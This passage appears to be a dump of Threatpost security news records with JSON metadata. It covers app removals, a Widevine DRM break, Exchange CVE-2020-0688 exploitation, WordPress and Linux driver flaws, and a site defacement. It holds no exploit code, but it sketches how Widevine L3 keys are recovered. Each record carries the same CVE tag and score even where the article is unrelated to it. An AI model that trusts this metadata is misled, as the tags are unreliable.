said.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe recently removed several parental-control apps from the App Store, and we did it for a simple reason: They put users\u2019 privacy and security at risk. It\u2019s important to understand why and how this happened,\u201d the company said in a [Sunday statement](<https://www.apple.com/newsroom/2019/04/the-facts-about-parental-control-apps/>), entitled \u201cThe Facts About Parental Control Apps.\u201d\n\nRegardless of the reason, the incident has raised questions about how competition is handled between apps and the sometimes-competing platforms that they are sold on. Impacted app developers, for their part, continue to be up-in-arms regarding the incident \u2013 with two popular parental control apps, Kidslox and Qustodio, last week filing an anti-competition complaint with the European Commission\u2019s competition office.\n\n## Angry App Devs\n\nThe Saturday[ report](<https://www.nytimes.com/2019/04/27/technology/apple-screen-time-trackers.html>) by the New York Times_, _working with app data firm Sensor Tower, shows that Apple has removed or restricted 11 of the 17 most downloaded parental-control apps, as well as restricting lesser-known apps. That includes forcing apps to remove features that enable parents to control children\u2019s devices, or restrict access to adult content.\n\nThe move comes after Apple launched its own screen control app, Screen Time, a feature built into iOS 12 that enables users to set screen time and limits on their own phones.\n\nThe complaint from Kidslox and Qustodio that was filed with the European Commission\u2019s competition office was filed in tandem with the report, saying that the removal and restriction of parental-control apps was an anti-competitive practice by nature.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144205/screen-time-1-.png>)\n\nParental Control Apps\n\nKidslox alleges that Apple has required it to make changes to its app that ultimately harmed it competitive factor.\n\n\u201cTo create Screen Time, Apple took the best pieces and best practices from existing parental-control and well-being apps in the App Store, bringing no tangible innovations to market,\u201d Kidslox CEO Viktor Yevpak said in a statement provided to Threatpost. \u201cStanding up to Apple is about even more than fair competition.\u201d\n\nMeanwhile Qustodio, in a statement showed to Threatpost regarding the EU complaint, said that Apple has arbitrarily blocked several parental-control apps in the market from making app updates, while completely removing others.\n\n\u201cWith the introduction of Apple\u2019s Screen Time, developers in the parental control category experienced unprecedented anti-competitive behavior from Apple,\u201d Qustodio CEO Eduardo Cruz said in the statement. \u201cThe company acts as both a marketplace and a gatekeeper and uses its dominant position to create exclusive competitive advantage for its own service.\u201d\n\nOther screen-time apps began complaining about being removed from the Apple Store all the way back in the fall of 2018, including Mute, a screen-time tracking app.\n\nNick Kuh, creator of Mute, [complained](<https://medium.com/@nick.kuh/mute-app-startup-to-shutdown-a1db01440c56>) in October 2018 that Apple had removed his app from the App Store (Apple later returned his app after his post gained media attention).\n\n\u201cIt appears that Apple are now shutting down many (all?) screen-time tracking apps now that they\u2019ve added screen-time tracking into iOS 12,\u201d he said in his post. \u201cIt turns out that Apple have sent a similar email to many other app developers of screen-time tracking and parental-control apps. I believe that Mute is one of the first to go, but expect others to disappear from the App Store in the coming weeks as their notice period expires.\u201d\n\n## Apple Hits Back** **\n\nIn response to reports of developer outrage, Apple said in a statement: \u201cApple has always supported third-party apps on the App Store that help parents manage their kids\u2019 devices. Contrary to what the _New York Times_ reported over the weekend, this isn\u2019t a matter of competition. It\u2019s a matter of security.\u201d\n\nApple said several of the apps removed use the MDM format, which is typically used by enterprises to give companies control over their employees\u2019 devices. However, when non-enterprise developers use the feature on their apps, the technology can have dangerous privacy and security implications, Apple said.\n\nThese MDM functions give apps a \u201cconfiguration profile\u201d which is generally used for enterprises \u2013 and allow users to configure or track certain settings \u2013 including app settings, Wi-Fi and permissions. In other words, app developers behind the apps gain access to all data \u2013 such as location, activity and more \u2013 of the children whose phones are being controlled.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144327/screen-time-2.png>)\n\nApple Screen Time\n\nApple did not respond to multiple requests for comment from Threatpost.\n\nThe company in its statement said that it began noticing that non-enterprise developers were using MDM back in early 2017, and updated their guidelines based on that work in mid-2017.\n\n\u201cWhen we found out about these guideline violations, we communicated these violations to the app developers, giving them 30 days to submit an updated app to avoid availability interruption in the App Store,\u201d Apple said. \u201cSeveral developers released updates to bring their apps in line with these policies. Those that didn\u2019t were removed from the App Store.\u201d\n\nHowever, app developers argue that MDM is not used maliciously and that parents setting up the apps are given fair notice about the MDM features when downloading the app.\n\nSuren Ramasubbu, CEO of one of the parental control apps impacted by Apple\u2019s crackdown, Mobicip, said that when parental control apps using MDM is installed, it is the parent that goes through the process of setting up \u2013 and they are explicitly asked to agree to the terms and conditions and privacy policy before installing the MDM profile and certificate.\n\n\u201cPlease note that the parent has explicitly agreed to enroll the device in a third-party MDM system,\u201d he said in a [post](<https://medium.com/@suren_60419/apples-case-for-removing-screentime-apps-seven-questions-for-phil-schiller-33cf78b01713>) over the weekend. \u201cDo these parents understand the risks? May be. May be not. But should it be the parent who decides the risk vs. reward? Given that Apple Screen Time requires both parents and children to be on Apple devices, and given that most families today have a blend of devices with the parents on Android, isn\u2019t it anti-competitive to not give parents this choice?\u201d\n\nApps like Kidslox and Qustodio continue to maintain that Apple\u2019s practices are unfair \u2013 and ultimately hurting both app developers and consumers.\n\n\u201cQustodio and Kidslox are asking Apple to stop this unprecedented hostile behavior, compete fairly, and open up exclusive API\u2019s and technologies introduced in their own Screen Time service,\u201d according to Qustodio.\n\nIt\u2019s not the first time Apple has come under fire for anti-competition app store practices \u2013 in March, [Spotify filed a complaint](<https://newsroom.spotify.com/2019-03-13/consumers-and-innovators-win-on-a-level-playing-field/>) against the iPhone maker saying that newly-introduced App Store rules \u2013 such as a 30 percent tax imposed on purchases made via Apple\u2019s payment system \u2013 stifle competing music services that are being sold on its platform.\n", "cvss3": {}, "published": "2019-04-29T19:26:31", "type": "threatpost", "title": "Apple Defends Parental Control App Removal Amid Backlash", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T19:26:31", "id": "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "href": "https://threatpost.com/apple-parental-control-app-removal/144181/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:54", "description": "Researchers have used a proof-of-concept (PoC) side-channel attack to download an unencrypted raw file for Netflix\u2019 Stranger Things, in a format that\u2019s ready to distribute out to any buyer on the internet.\n\nThis pirate\u2019s booty is the result of breaking open the widely deployed digital rights management (DRM) to framework known as Widevine, the DRM engine behind Netflix, Hulu and Amazon Prime, among others.\n\nBy way of background, Widevine is an encryption method developed by Google but offered royalty-free to content creators and streaming services. According to Google stats, about 5 billion devices out there support it, and 82 billion content licenses are issued quarterly. In other words, it\u2019s a Big Kahuna when it comes to anti-piracy approaches \u2013 rivaled only by Apple\u2019s FairPlay and Microsoft\u2019s PlayReady DRM schemes.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nWidevine\u2019s end-to-end approach to encrypting copyrighted content and [preventing piracy](<https://threatpost.com/kodi_box_malware/144191/>) is actually quite secure, according to researchers at Fidus Information Security, who developed the PoC. But a vulnerability exists in Level 3 of the framework that opens the door to side-channel attacks.\n\n## The Widevine Approach\n\nTo keep pirates from streaming or downloading content that they shouldn\u2019t (both for personal or resale purposes), Widevine uses a combination of hardware security and an isolated secure operating system (OS).\n\nAs it explains in its [documentation](<https://www.widevine.com/>), Widevine offers three levels of content protection: 1, 2 and 3. Level 1 is the most secure, where all content processing and cryptography operations are handled inside a Trusted Execution Environment (TEE); and, Widevine is incorporated into a display via a secured path like HDCP. This is the case with most modern Android devices.\n\nIn Level 2, Widevine is used within a TEE to decrypt a stream, which is then sent to the display in an unprotected format.\n\nAnd in Level 3, which Fidus researchers were able to crack, Widevine is used to decrypt streams using the device\u2019s CPU rather than inside the secure TEE, after which the decrypted stream is sent to the display unprotected. The Chrome and Firefox browsers use Level 3, for instance.\n\nThe capabilities of the user\u2019s playback device and the quality of the content determines which level of protection is applied. Level 3 is used mainly for non-HD streams, 720p and below, and low-resolution audio \u2013 content that would be delivered over spotty broadband to a desktop or laptop (which is why browsers support Level 3) or to less sophisticated, low-cost, non-HD devices that lack TEEs, which are [actually found in volume](<https://www.androidauthority.com/oneplus-5t-review-814075/>) in many areas of the world, like China. Some mobile devices also [block HD streams](<https://www.digit.in/features/mobile-phones/poco-f1-is-not-the-only-smartphone-to-block-hd-streaming-no-xiaomi-device-can-stream-netflix-in-hd-43339.html>) because of wireless carrier restrictions.\n\nIn all cases, \u201cthrough the design of the Widevine framework, the keys that have been used to encrypt the content are never actually exposed directly to the user,\u201d explained the firm, in a [Monday posting](<https://fidusinfosec.com/breaking-content-protection-on-streaming-websites/>) on the PoC. \u201cInstead, the header file that gets sent to the client when a stream is started contains the bare minimum information needed, containing just some metadata about the encryption scheme used.\u201d\n\nThat metadata then gets passed to the content decryption module (CDM), which is contained in the client or browser that the user has installed. The CDM handles getting the license keys from the Widevine license server, before the content is decrypted and displayed, using Arxan to obfuscate the communication with the server. The license server then sends back a license to the client, which contains the content keys. These content keys are then used by the CDM to decrypt the content, which the user can then view.\n\nHowever, using a new variant of a piracy method [uncovered by researcher David Buchanan](<https://twitter.com/David3141593/status/1080606827384131590>) in January, the Fidus researchers were able to board the Netflix ship, as it were, and plunder its premium content by plucking the keys out of this process.\n\n## Breaking Widevine L3\n\n\u201cIt was possible to download a raw file of Stranger Things from Netflix and fully remove the content protection enabled; allowing for illegal distribution of the material,\u201d Fidus researchers noted.\n\nIt should be noted that the issue lies with Widevine, and that Netflix is just one of many Widevine users susceptible to such an attack, the researchers said.\n\nFidus team said that they won\u2019t be publishing the PoC code or further details given that the repercussions could be significant. In January, Buchanan was similarly cagey about his own Widevine-cracking, but did say that it was \u201cscarily trivial to pull off,\u201d and that he used the [Side-Channel Marvels](<https://github.com/SideChannelMarvels>) project during \u201ca few evenings of work\u201d to do so.\n\n\u201cTheir Whitebox AES-128 implementation is vulnerable to the well-studied DFA attack, which can be used to recover the original key. Then you can decrypt the MPEG-CENC streams with plain old ffmpeg,\u201d he tweeted at the time, referring to differential fault analysis (DFA), more on which [can be found here](<https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html>).\n\nHe also said that while Google acknowledged the issue, there\u2019s not much to be done:\n\n> DRM is flawed by design. I do not consider this a bug, and it cannot be fixed.\n> \n> \u2014 D\u0430v\u0456d \u0412uc\u04bb\u0430n\u0430n (@David3141593) [January 3, 2019](<https://twitter.com/David3141593/status/1080618940689252352?ref_src=twsrc%5Etfw>)\n\nFidus intimated that it was working on breaking Widevine L1 and L2 \u2013 which \u201cWith Level 3 down, there\u2019s two to go.\u201d These, if cracked, would be a much bigger problem for Widevine and those that rely upon it, opening the door to pirating the higher-value HD content.\n\nThreatpost has reached out to Fidus for more details and will update this post for any new information.\n\nGoogle did not immediately return a request for comment.\n\n** **\n", "cvss3": {}, "published": "2019-04-30T16:28:34", "type": "threatpost", "title": "Researchers Compromise Netflix Content in Widevine DRM Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:28:34", "id": "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "href": "https://threatpost.com/netflix-compromised-widevine-drm-hack/144220/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-10T12:45:58", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\nWrite a comment\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-exchange-server-flaw-exploited-in-apt-attacks", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:08", "description": "UPDATE\n\nA vulnerability in a popular WordPress plugin called the WooCommerce Checkout Manager extension is potentially putting more than 60,000 websites at risk, researchers say.\n\nThe WooCommerce Checkout Manager plugin allows WooCommerce users to customize and manage the fields on their checkout pages. The plugin, owned by Visser Labs, is separate from the WooCommerce plugin, which is owned by Automattic.\n\nAs of Monday, an update for WooCommerce Checkout Manager is available (version 4.3) that patches the vulnerability. That can be downloaded [here](<https://wordpress.org/support/topic/upgrade-to-4-3/>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cEarlier this week, an arbitrary file upload vulnerability has been found in popular WordPress plugin WooCommerce Checkout Manager which extends the functionality of well known WooCommerce plugin,\u201d said Luka Sikic, with WebArx Security in a [Thursday post](<https://www.webarxsecurity.com/woocommerce-checkout-manager/>).\n\nVisser Labs has not responded to a request for comment from Threatpost. On Friday, the plugin has been removed from the WordPress plugin repository. \u201cThis plugin was closed on April 26, 2019 and is no longer available for download,\u201d according to a [notice](<https://wordpress.org/plugins/woocommerce-checkout-manager/>) on the site. However, that still leaves the 60,000 websites who have already downloaded and are utilizing the plugin open to attack, according to researchers.\n\nOn Tuesday, Plugin Vulnerabilities published a proof of concept outlining an attack on an arbitrary file upload vulnerability in WooCommerce Checkout Manager. The disclosed vulnerability exists because the plugin\u2019s \u201cCategorize Uploaded Files\u201d option does not check privileges or permissions before files are uploaded. As a result, bad actors could upload \u2013 and then execute \u2013 malicious files.\n\n\u201cSince there is no privilege or permission check before uploading a file, the exploitation of the vulnerability in WooCommerce Checkout Manager is simple and doesn\u2019t require an attacker to be registered on the site,\u201d Sikic said.\n\nThe number of vulnerable plugins being exploited in a massive campaign is racking up, with the WooCommerce Checkout Manager the latest plugin to be exploited.\n\nThe WooCommerce Checkout Manager is only the latest plugin to have a disclosed vulnerability, researchers say.\n\n\u201cWe continue to see an increase in the number of plugins attacked as part of a campaign that\u2019s been active for quite a long time,\u201d according to John Castro with Sucuri in a recent [post](<https://blog.sucuri.net/2019/04/plugins-added-to-malicious-campaign.html>). \u201cBad actors have added more vulnerable plugins to inject similar malicious scripts.\u201d\n\nOther plugins recently added to the attack include WP Inventory Manager and Woocommerce User Email Verification. That\u2019s on top of others, including Social Warfare, [Yellow Pencil Visual Theme Customizer](<https://threatpost.com/wordpress-yellow-pencil-plugin-exploited/143729/>), and [Yuzo Related Posts](<https://threatpost.com/wordpress-urges-users-to-uninstall-yuzo-plugin-after-flaw-exploited/143710/>).\n\nResearchers urged plugin users to disable the plugin completely or disable the \u201cCategorize Uploaded Files\u201d option on the plugin settings page.\n\n\u201cAttackers are trying to exploit vulnerable versions of these plugins,\u201d said Castro. \u201cPublic exploits already exist for all of the components listed above, and we highly encourage you to keep your software up to date to prevent any infection.\u201d\n\n_This article was updated on April 30 at 8 a.m. ET to reflect that the vulnerability has now been patched._\n", "cvss3": {}, "published": "2019-04-26T19:44:55", "type": "threatpost", "title": "Users Urged to Update WordPress Plugin After Flaw Disclosed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T19:44:55", "id": "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "href": "https://threatpost.com/users-urged-to-disable-wordpress-plugin-after-unpatched-flaw-disclosed/144159/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:43", "description": "A famous Brazilian male stripper greeted Cartoon Network viewers worldwide when they tried to stream shows over the weekend \u2013 thanks to a pair of hackers that took aim at the cable network\u2019s websites across 16 different regions.\n\nIn the aftermath, entire Cartoon Network sites and video players have been taken down while remediation continues.\n\nThe Brazilian stripper, Ricardo Milos, is known for wearing a red bandana on his head and an American flag thong. His unique approach to erotic dance fashion has propelled him to [internet meme status](<https://youtu.be/epgz-6ZikHA>); and the hackers, apparent fans, placed Milos videos on the Cartoon Network sites, along with various Arabic memes and Brazilian music vids.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAccording to [reports](<https://www.zdnet.com/article/cartoon-network-websites-hacked-to-show-arabic-memes-and-brazilian-male-stripper/>), the defacement was carried out by a pair of Brazilian hackers who exploited a vulnerability in Cartoon Network\u2019s website management platform. The compromise occurred April 25, and the content stayed up over the weekend until the channel was notified April 28. While the rogue content has been removed, some sites\u2019 video players were still down as of this report.\n\nBoth Cartoon Network UK and Cartoon Network Russia issued short statements [acknowledging](<https://twitter.com/CNUKTweets/status/1122506277224157184>) the issue. In a media statement the network said that \u201csites have been temporarily deactivated\u201d and that IT teams are \u201cworking hard to relaunch the sites.\u201d\n\nThe attack affected Cartoon Network portals for Brazil, the Czech Republic, Denmark, Germany, Hungary, Italy, Mexico, the Middle East and Africa (MENA), the Netherlands, Norway, Poland, Romania, Russia, Turkey and the UK, according to reports from the Twitterverse.\n\n> About 6+ hours ago someone hacked most of the Cartoon Network websites (by language) and replaced them with random shit.\n> \n> List of countries that have been targeted: \n> \n> UK \nHungary \nRomania \nGerman \nRussia \nPoland \nCzech \nDenmark \nArabic \nNorway \nNetherlands \nItaly \nTurkey \nAfrican [pic.twitter.com/anRB2PnP2g](<https://t.co/anRB2PnP2g>)\n> \n> \u2014 Flor Geneva (@Fl0r_Geneva) [April 28, 2019](<https://twitter.com/Fl0r_Geneva/status/1122420981681872896?ref_src=twsrc%5Etfw>)\n\nTypically, website defacement is carried out for political/hacktivist/vendetta purposes, but it\u2019s unclear why the Turner-owned network, home to kids\u2019 hits like Adventure Time, would be a target in this case. The last high-profile defacement came when hackers [infiltrated a Wall Street Journal webpage](<https://threatpost.com/wsj-hacked-pewdiepie/140035/>) in an attempt to promote YouTube celebrity \u201cPewDiePie\u201d (given name Felix Kjellberg), who had come under fire for in the pages of the WSJ for what the outlet termed anti-Semitic behavior.\n\nTaking aim at media targets could be a new trend as well; in April, the Weather Channel\u2019s linear TV feed [was knocked offline](<https://threatpost.com/weather-channel-off-air-hack/143936/>) by a cyberattack \u2013 again, no motive was apparent.\n", "cvss3": {}, "published": "2019-05-01T15:32:40", "type": "threatpost", "title": "Cartoon Network Hacked Worldwide to Show Brazilian Stripper Videos", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T15:32:40", "id": "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "href": "https://threatpost.com/cartoon-network-hacked/144263/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:04:44", "description": "Researchers at the security firm Palo Alto Networks worked with domain registrar and web hosting firm GoDaddy to shut down 15,000 subdomains pitching \u2018snake oil\u2019 products and other scams. The takedowns are linked to affiliate marketing campaigns peddling everything from weight-loss solutions and brain-enhancement pills.\n\nThose behind the spam campaigns used a technique called domain-shadowing, and they were able to compromise thousands of servers and abuse hundreds of domains and website admin account credentials, according to researchers.\n\nSpam campaigns associated with these subdomain takeovers date back to 2017. Links in messages pointed to subdomains of websites, which unknowingly hosted the product pitches that were backed by bogus endorsements purporting to be from the likes of Stephen Hawking, Jennifer Lopez and Gwen Stefani.\n\n\u201cOn a scale of one to 10 for the \u2018worst types of spam\u2019 you can receive, approaching that perfect 10 score is spam related to \u2018snake oil\u2019 products that are so patently fake that you struggle to understand why they would even bother trying to sell it,\u201d wrote Jeff White, senior threat researcher at Palo Alto Networks, [in a blog post outlining the takedown](<https://unit42.paloaltonetworks.com/takedowns-and-adventures-in-deceptive-affiliate-marketing/>).\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/26131443/Figure-13-TMZ-pre-sell-page.png>)\n\nExample of a \u201cfarticle\u201d extolling the merits of a dubious pill, solution or potion. Farticle is a term used to describe a fraudulent article. (Click to Enlarge)\n\nWhite investigated and traced the links in the spam messages to an elaborate URL redirection chain that eventually dumped users on the fake products\u2019 landing pages. The redirections, researchers discovered, were leveraging compromised servers. To help obfuscate the sketchy behavior, spammer also used a [Caesar cipher](<http://www.practicalcryptography.com/ciphers/caesar-cipher/>) (a simple substitution code) and a hypertext preprocessor (PHP) file for handling the redirections.\n\n\u201cThe [Caesar cipher] injection is using .php files on compromised sites to drive traffic to fraudulent and/or scam pages,\u201d [according to a researcher at PassiveTotal](<https://www.riskiq.com/blog/labs/caesarv/>) that White consulted with during his investigation. \u201c[These included] fake tech support and fake sites purporting to be news sites, reporting on the incredible effects of weight-loss and intelligence pills.\u201d\n\nNext, White determined that the redirection sites and those that hosted the spam pitches were using legitimate registrant accounts in a technique called domain-shadowing. That\u2019s when attackers use stolen domain registrant credentials to create massive lists of subdomains, which are used in quickly rotating fashion to either redirect victims to attack sites, or to serve as hosts for malicious payloads. This technique is considered an evolution of [fast-flux](<https://threatpost.com/operation-high-roller-banked-fast-flux-botnet-steal-millions-102412/77150/>), where malicious elements are moved from place to place rapidly, in an effort to stay ahead of detection.\n\n\u201cIt would seem likely that the person(s) behind [the campaigns] were going about it in an automated fashion, logging into these legitimate domain accounts and using a dictionary of simple English words to create subdomains pointing to their redirector,\u201d said the researcher.\n\nThis isn\u2019t the first time GoDaddy has had to deal domain-shadowing used to link to malicious activity. Over the years the approach has been used to distribute [everything from the Angler Exploit Kit](<https://threatpost.com/domain-shadowing-latest-angler-exploit-kit-evasion-technique/111396/>) to [the RIG Exploit Kit](<https://threatpost.com/40000-subdomains-tied-to-rig-exploit-kit-shut-down/126072/>).\n\nWhile in White\u2019s case the payload wasn\u2019t malware, but rather affiliate marketing scams, he warned of the malicious nature of those behind the spam campaigns: \u201cThere are a lot of players in the affiliate marketing world, from the affiliates to the merchants and all of the networks in-between,\u201d he said. \u201cHopefully this blog helps to shine some light on how at every link in this chain there are shady, sometimes illegal and almost always deceptive business practices still being employed, to scam hard working people out of their money.\u201d\n", "cvss3": {}, "published": "2019-04-26T17:47:01", "type": "threatpost", "title": "GoDaddy Shutters 15,000 Subdomains Tied to 'Snake Oil' Scams", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2020-0688"], "modified": "2019-04-26T17:47:01", "id": "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "href": "https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:30:33", "description": "A critical Linux bug has been discovered that could allow attackers to fully compromise vulnerable machines. A fix has [been proposed](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) but has not yet been incorporated into the Linux kernel.\n\nThe flaw ([CVE-2019-17666](<https://nvd.nist.gov/vuln/detail/CVE-2019-17666>)), which was [classified as critical](<https://vuldb.com/?id.143835>) in severity, exists in the \u201crtlwifi\u201d driver, which is a software component used to allow certain Realtek Wi-Fi modules, used in Linux devices, to communicate with the Linux operating system.\n\nSpecifically, the driver is vulnerable to a [buffer overflow](<https://cwe.mitre.org/data/definitions/122.html>) attack, where a buffer (a region in physical memory storage used to temporarily store data while it is being moved) is allocated in the heap portion of memory (a region of process\u2019s memory which is used to store dynamic variables). That excess data in turn corrupts nearby space in memory and could alter other data, opening the door for malicious attacks. This specific flaw could enable attackers to launch a variety of attacks \u2013 from crashing vulnerable Linux machines to full takeover.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe bug is serious\u2026 if an attacker is currently using that Realtek driver (rtlwifi), then it\u2019s vulnerable to this bug and someone on a wireless distance range can potentially attack him,\u201d Nico Waisman, principal security engineer at Github, who discovered the bug and posted his findings [Thursday on Twitter](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1184864519316758535&ref_url=https%3A%2F%2Fkasperskycontenthub.com%2Fthreatpost-global%2Fwp-admin%2Fpost.php%3Fpost%3D149325%26action%3Dedit>), told Threatpost.\n\n> Found this bug on Monday. An overflow on the linux rtlwifi driver on P2P (Wifi-Direct), while parsing Notice of Absence frames. \nThe bug has been around for at least 4 years <https://t.co/rigXOEId29> [pic.twitter.com/vlVwHbUNmf](<https://t.co/vlVwHbUNmf>)\n> \n> \u2014 Nico Waisman (@nicowaisman) [October 17, 2019](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw>)\n\nThe vulnerable piece of the rtlwifi driver is a feature called the Notice of Absence protocol. This protocol helps devices autonomously power down their radio to save energy. The flaw exists in how the driver handles Notice of Absence packets: It does not check certain packets for a compatible length, so an attacker could add specific information elements that would cause the system to crash.\n\nAccording to Waisman, to exploit the flaw an attacker would send a \u201cmalicious\u201d packet that will trigger the vulnerability on the Linux machine. This can be done if the attacker is within radio range of the vulnerable device. There is no need for an attacker to have any sort of authentication, he said.\n\nThe flaw can be exploited to trigger various attacks, he added.\n\n\u201cThe vulnerability triggers an overflow, which means it could make Linux crash or if a proper exploit is written (which is not trivial), an attacker could obtain remote code-execution,\u201d Waisman told Threatpost.\n\nVersions through 5.3.6 of the Linux kernel operating system are impacted \u2014 and researchers said it has been in existence for four years before discovery. In response, the Linux kernel team has [developed a patch](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) which is currently under revision but has not yet been incorporated into the Linux kernel.\n\nRealtek did not respond to a request for comment from Threatpost.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree &amp; Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to 